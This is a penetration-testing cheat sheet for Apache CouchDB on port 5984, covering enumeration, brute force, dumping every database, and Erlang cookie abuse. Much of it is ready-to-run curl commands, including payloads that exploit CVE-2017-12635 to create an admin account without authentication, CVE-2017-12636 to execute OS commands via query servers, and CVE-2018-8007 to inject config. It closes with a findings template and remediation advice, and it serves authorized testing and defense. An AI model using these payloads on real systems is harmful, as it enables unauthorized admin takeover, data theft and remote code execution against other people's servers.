Pentesting CouchDB (port 5984)
When to Use
- Default
5984/tcp(HTTP API),6984/tcp(HTTPS); cluster mode adds node-local5986, and Erlang EPMD on4369. - Document-oriented database driven entirely by a REST/HTTP API; each document has an
_idand revision_rev. - Use whenever 5984 is reachable — older CouchDB runs in "admin party" (no admins) and exposes everything.
Quick Enumeration
# Welcome banner + version
curl http://<IP>:5984/
# {"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}
nmap -sV --script couchdb-databases,couchdb-stats -p5984 <IP>
msfconsole -q -x 'use auxiliary/scanner/couchdb/couchdb_enum; set RHOSTS <IP>; run; exit'
Critical: Checks Most Often Missed
- Unauthenticated "admin party" access → full dump — the #1 miss. With no admin configured, anyone can read/write all databases.
- How to CONFIRM:
curl http://<IP>:5984/_all_dbsreturns the DB list (not401 {"error":"unauthorized"}). A401on/means creds are required and even the banner is hidden.
- How to CONFIRM:
- Default / weak credentials — when auth is on, try common admin pairs.
- How to CONFIRM:
curl http://user:pass@<IP>:5984/_all_dbsreturns the DB list; brute force HTTP basic auth.
- How to CONFIRM:
- CVE-2017-12635 — privilege escalation (duplicate JSON keys) — Erlang vs JavaScript JSON parser disagreement lets an unauthenticated user create an admin by sending duplicate
roleskeys.- How to CONFIRM:
curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[],"password":"hacktricks"}' http://<IP>:5984/_users/org.couchdb.user:hacktricks -H "Content-Type:application/json"then login ashacktricks:hacktrickswith_adminrole.
- How to CONFIRM:
- CVE-2017-12636 — RCE via query servers / config — an admin can register a malicious
query_servers/os_daemonsentry and trigger it through a design-document view, executing OS commands as the CouchDB user.- How to CONFIRM:
PUT /_node/couchdb@localhost/_config/query_servers/cmdwith"/path/cmd", then create a design doc with"language":"cmd"— the command runs. Chains directly off CVE-2017-12635.
- How to CONFIRM:
- CVE-2018-8007 — RCE via
cors/originsconfig injection — whenlocal.iniis writable, inject an[os_daemons]entry through the CORS origins config; it executes on restart. - Erlang EPMD cookie abuse (port 4369) — if 4369 is exposed and the Erlang
cookie(e.g. seen inpsasmonster) is known/guessable, connect as a distributed Erlang node for RCE.
Workflow
Step 1: Enumerate
curl http://<IP>:5984/ # version
curl http://<IP>:5984/_all_dbs # databases
curl http://<IP>:5984/_membership # cluster nodes (Erlang node name)
curl http://<IP>:5984/_node/_local/_config # full config (if authed)
curl http://<IP>:5984/_uuids # UUIDs
Step 2: Authenticate (admin party, default/weak creds, brute force)
curl http://<IP>:5984/_all_dbs # try unauthenticated first
curl http://admin:password@<IP>:5984/_all_dbs # default creds
hydra -L users.txt -P passwords.txt <IP> http-get /_all_dbs
# Or CVE-2017-12635 to MINT your own admin (see below)
Step 3: Exploit / Extract (dump documents + RCE)
# Dump every database -> all docs -> document contents
for db in $(curl -s http://<IP>:5984/_all_dbs | tr -d '[]"' | tr ',' ' '); do
echo "== $db =="; curl -s "http://<IP>:5984/$db/_all_docs?include_docs=true"
done
curl -s http://<IP>:5984/<db>/_all_docs # list ids
curl -s http://<IP>:5984/<db>/<id> # read a document
# CVE-2017-12635: create an admin user with no prior auth
curl -X PUT -d '{"type":"user","name":"pwn","roles":["_admin"],"roles":[],"password":"pwn"}' \
http://<IP>:5984/_users/org.couchdb.user:pwn -H "Content-Type:application/json"
# CVE-2017-12636: admin -> RCE via query_servers + design-doc view (CouchDB 2.x path)
curl http://pwn:pwn@<IP>:5984/_membership
curl -X PUT 'http://pwn:pwn@<IP>:5984/_node/couchdb@localhost/_config/query_servers/cmd' \
-d '"/sbin/ifconfig > /tmp/df"'
curl -X PUT 'http://pwn:pwn@<IP>:5984/df'
curl -X PUT 'http://pwn:pwn@<IP>:5984/df/zero' -d '{"_id":"HTP"}'
curl -X PUT 'http://pwn:pwn@<IP>:5984/df/_design/zero' \
-d '{"_id":"_design/zero","views":{"anything":{"map":""}},"language":"cmd"}'
# CVE-2018-8007: RCE via cors/origins config injection (requires writable local.ini)
curl -X PUT 'http://user:pass@<IP>:5984/_node/couchdb@localhost/_config/cors/origins' \
-H "Content-Type: application/json" \
-d "x\n\n[os_daemons]\ntestdaemon = /usr/bin/touch /tmp/0xdf"
Step 4: Post-access / privilege escalation / pivot
- Dumped documents (
_users, app DBs) often hold password hashes and secrets — crack and reuse against other services. - After RCE the command runs as the CouchDB OS user; enumerate host, sudo, and the Erlang process (
ps aux | grep couchdb) for the cookie. - If EPMD
4369is exposed, use the recovered Erlang cookie to join as a node and run code (see Erlang cookie RCE). - CVE-2017-12636/12635 chain: mint admin → register query server → trigger via view = reliable RCE on vulnerable 1.x/2.x.
Key Concepts
| Concept | Description |
|---|---|
| Admin party | CouchDB default state with no admin user — everyone has full admin access. |
| REST API | All operations are HTTP verbs (GET/PUT/POST) against /db, /db/_all_docs, /db/{id}. |
| _users / org.couchdb.user | Internal user DB; target of the CVE-2017-12635 admin-creation bug. |
| query_servers / os_daemons | Config sections that run external programs — abused for RCE (CVE-2017-12636/12618-8007). |
| Design documents / views | _design/* map functions; selecting a malicious language triggers the query server. |
| Erlang EPMD (4369) + cookie | Cluster node auth secret; exposure enables distributed-Erlang RCE. |
Tools & Systems
| Tool | Purpose |
|---|---|
| curl | Primary client for banner, DB listing, document dumping, and all CVE exploitation. |
| nmap NSE | couchdb-databases, couchdb-stats for info + DB enumeration. |
| Metasploit | scanner/couchdb/couchdb_enum, couchdb_login, exploit/.../apache_couchdb_cmd_exec. |
| hydra / medusa | HTTP basic-auth brute force against _all_dbs. |
| vulhub CVE-2017-12636 PoC | Public exploit code (exp.py / EDB 44913) for the query-server RCE chain. |
| EPMD / erl | Distributed Erlang node connection for cookie-based RCE on 4369. |
Common Scenarios
Scenario 1: Admin party → full dump
curl http://<IP>:5984/_all_dbs returns ["_users","passwords","simpsons"] with no auth. Iterating _all_docs?include_docs=true exfiltrates every document, including the _users password hashes.
Scenario 2: Unauth → admin → RCE
The tester mints an admin with CVE-2017-12635, then chains CVE-2017-12636 by registering a query_servers command and triggering it via a design-doc view, gaining OS command execution as the couchdb user.
Scenario 3: Erlang cookie pivot
EPMD on 4369 is exposed and ps reveals the Erlang cookie. The tester joins as a distributed Erlang node and executes commands on the CouchDB host.
Output Format
## CouchDB Finding
**Service**: Apache CouchDB
**Port**: 5984/tcp (CouchDB 2.0.0)
**Severity**: Critical
**Finding**: Unauthenticated access plus CVE-2017-12635 privilege escalation
**Evidence**:
- curl http://<IP>:5984/_all_dbs -> ["_users","passwords","simpsons"] (no auth)
- PUT _users/org.couchdb.user:pwn with duplicate roles -> admin "pwn" created
- login pwn:pwn confirmed _admin role
**Impact**: Unauthenticated data theft and admin takeover, leading to remote code execution via query-server config.
**Recommendation**:
1. Configure an admin user to end "admin party" and require authentication.
2. Restrict 5984/6984/5986/4369 by firewall; never expose to untrusted networks.
3. Upgrade to patch CVE-2017-12635/12636 and CVE-2018-8007; keep local.ini non-writable by the service.
4. Set a strong, unique Erlang cookie and isolate cluster traffic.